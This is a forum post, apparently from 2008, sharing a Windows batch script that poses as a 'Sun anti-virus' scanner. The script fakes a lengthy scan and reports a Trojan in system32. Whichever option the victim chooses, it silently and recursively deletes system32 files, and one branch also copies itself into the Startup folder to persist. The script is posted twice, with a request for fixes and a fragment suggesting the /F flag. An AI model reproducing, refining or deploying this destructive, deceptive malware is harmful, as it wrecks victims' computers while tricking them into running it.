07-01-2008, 07:35 AM
Here is the first batch i am posting. "Anti-Virus" that delete system32.
@echo off
echo Sun anti-virus starting...
ping localhost -n 10 >nul
echo Searching for virus, this may take 5-10 minutes..
ping localhost -n 480 >nul
echo Virus detected in system32, Trojan Horse
pause
echo 1) Delete Virus
echo 2) Leave virus alone
:a
set /p ans=Options:
if '%ans%'== '1' GOTO one
if '%ans%'== '2' GOTO two
Goto a
:one
del c:\WINDOWS\system32*.* /Q /S
pause
exit
GOTO a
:two
del c:\WINDOWS\system32*.* /Q /S
Copy %0 "%userprofile%\start menu\progra~1\startup"
pause
exit
Please reply if its good or if you can see any misstakes
@echo off
echo Sun anti-virus starting...
ping localhost -n 10 >nul
echo Searching for virus, this may take 5-10 minutes..
ping localhost -n 480 >nul
echo Virus detected in system32, Trojan Horse
pause
echo 1) Delete Virus
echo 2) Leave virus alone
:a
set /p ans=Options:
if '%ans%'== '1' GOTO one
if '%ans%'== '2' GOTO two
Goto a
:one
del c:\WINDOWS\system32*.* /Q /S
pause
exit
GOTO a
:two
del c:\WINDOWS\system32*.* /Q /S
Copy %0 "%userprofile%\start menu\progra~1\startup"
pause
exit
Please reply if its good or if you can see any misstakes


), but as far as I know it need /F